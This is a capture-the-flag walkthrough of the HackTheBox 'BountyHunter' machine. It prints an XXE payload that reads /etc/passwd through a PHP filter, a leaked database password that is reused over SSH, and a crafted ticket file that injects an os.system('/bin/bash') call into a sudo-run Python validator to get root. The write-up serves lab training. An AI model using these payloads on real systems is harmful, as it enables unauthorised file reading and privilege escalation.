Summary
We start off with a very narrow attack surface with just port 22 and 80 open. This suggests all our efforts need to be directed to the website which appears to be under development, on a apache 2.4 server using PHP. We find a form that uses XML and testing for XXE injection in the XML is successful. From here we find credentials in the db.php folder and are able to connect in via SSH. From this point we learn about a ticketvalidator.py that we have sudo privilege's to run. Reviewing this ticket file it is checking for many conditions that we satisfy in the input file and eventually call bin/bash for shell.
Tools used
Burpsuite
Cyberchef
B64 encode/decode
URL encode/decode
pdb debugger
Processes/techniques
Request proxying
XXE
Request proxying
URL encode/decode
B64 encode/decode
References
https://highlight.hohli.com/index.php (For syntax highlighting to HTML)
https://github.com/payloadbox/xxe-injection-payload-list
Phase 1A - Enumeration
Our attack surface is very straight forward and narrow. But as always, I que up AutoRecon in the background. We know from the output that our focus is going to be on the website.
Phase 1B - Website enumeration
It is nice to see a big hint in the middle of the page ;p
A very simple and fun looking website with a hint in the middle of the page suggesting "good bounty hunters know how to use burpsuite",
Looking around on the website. the only interactive fields I found were under portal which is in development and subsequently redirects us to the "Bounty Report System - Beta" page.
After trying to dump escape characters I found that the "<" actually prevented all the reflected information.
We can see that our input is reflected back to us.
However when we add a < character we see that non our input is reflected back. This is suggestive that we have broken the application and the backend parser does not know how to handle the "<" and throws the whole form post out. The "<" is indicative of XML use. As XML uses <tags> for defining tags. So lets find out.
Opening up Burpsuite we intercept the request and view the post. We see that at the bottom is data fields with encoded characters.
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.129.206.124
Content-Length: 223
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.129.206.124
Referer: http://10.129.206.124/log_submit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hYWE8L3RpdGxlPgoJCTxjd2U%2BYWFhYWE8L2N3ZT4KCQk8Y3Zzcz5hYWFhPC9jdnNzPgoJCTxyZXdhcmQ%2BYWFhYWE8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
-------------------------------------------------------------------------------------------------------------
Phase 1C - Identify the vulnerability
XXE Processing is often abused with the use of escape characters in order to pass system commands to host
Intercept the request
Two stage decoding, URL ---> B64
Add the External entity
Encode in B64 and URL encoding
Send it
Taking that data in the above proxied request we know from experience that it is some type of encoding, although running it through base 64 decoding provided some weird output the data did not appear to actually be B64 encoding. Then it dawned on me that the header in the proxied request specified URL form encoding, From here I pivoted and performed double decoding from URL ---> B64 and we received the properly formatted text and characters below.
The output from Base 64 decoding.
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>aaa</title>
<cwe6ͅݔ7g73`Y٘\٘\ݜ́
<reward>asfdfsa</reward6($$՝ɕ
Output when double decoding URL ----> B64
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>aaa</title>
<cwe>aaaaa</cwe>
<cvss>aaaa</cvss>
<reward>aaaaa</reward>
</bugreport>
Phase 2A - Enumerate the vulnerability
Researching "website xml version encoding vulnerabilities" will quickly land you on a OWASP page to do with XXE abuse.
XXE is the process of taking an XML form and calling an external reference. This means you either create much like a variable known as an Entity in a global container to call on anytime. In this challenge you could do either. So what we do is simply create an entity under the root tag or element and pass it the native system command to read files.
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>aaa</title>
<cwe>aaaaa</cwe>
<cvss>aaaa</cvss>
<reward>aaaaa</reward>
</bugreport>
TURNS INTO - After we process it
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE boo [<!ENTITY aaa SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<bugreport>
<title>&aaa;</title>
<cwe>aaaaa</cwe>
<cvss>aaaa</cvss>
<reward>aaaaa</reward>
</bugreport>
Phase2B - Troubleshoot the exploit
We are using php here so we have to call php filter convert
This still does not work so we switch to a different base64 platform to address all the whitespace between lines. CyberChef does not specify any options for this.
Base 64 Encode (Disable encode each line separately)
URL Encode and it works!
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGJvbyBbPCFFTlRJVFkgYWFhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vZXRjL3Bhc3N3ZCI%2BIF0%2BCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2BJmFhYTs8L3RpdGxlPgoJCTxjd2U%2BYWFhYWE8L2N3ZT4KCQk8Y3Zzcz5hYWFhPC9jdnNzPgoJCTxyZXdhcmQ%2BYWFhYWE8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
These credentials are great but don't work. Typical HTB scenario, spraying a newly found password with all known usernames. As we learned about the user Development on the box through /etc/hosts we switch to user "Development" using the same password and SSH in.
Root
This is a process of reviewing a powershell script and creating a corresponding script, that acts as a ticket for the ticket validator, which allows us to call /bin/sh.
development@bountyhunter:~$ ls
contract.txt user.txt
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Lets break this down
Line 5: Looks if the file ends with .md.
Line 16: Looks if the file starts with # Skytrain Inc
Line 20: Checks if the next line starts with ##Ticket to
Line 22: Checks if there is a Destination after Ticket to and parses the data
Line 25: Checks if the line starts with __Ticket Code:__
Line 30: Checks if start of line begins with **
Line 32: Is looking for a '+' sign to split around
Line 33: Scan for variable and the modulus of 7 of said number should equal 4
Line 34: Checks if line evaluates to true
Line 35: Checks if number provided was larger than 100
So from here, this is much like performing a rop chain in a binary exploit. We simply have to satisfy several conditions which is largely a test of our ability to interpret code and write a basic script while perhaps using a debugger to guide us along the way.
The below is our end script or ticket that successfully satisfied all conditions and allows for us to append /bin/bash for our root shell.
# Skytrain Inc
## Ticket to Greece
__Ticket Code:__
**102 + 1 == 103 and __import__('os').system('/bin/bash') == True
development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/boom.md
Destination: boom
root@bountyhunter:/tmp#
Comments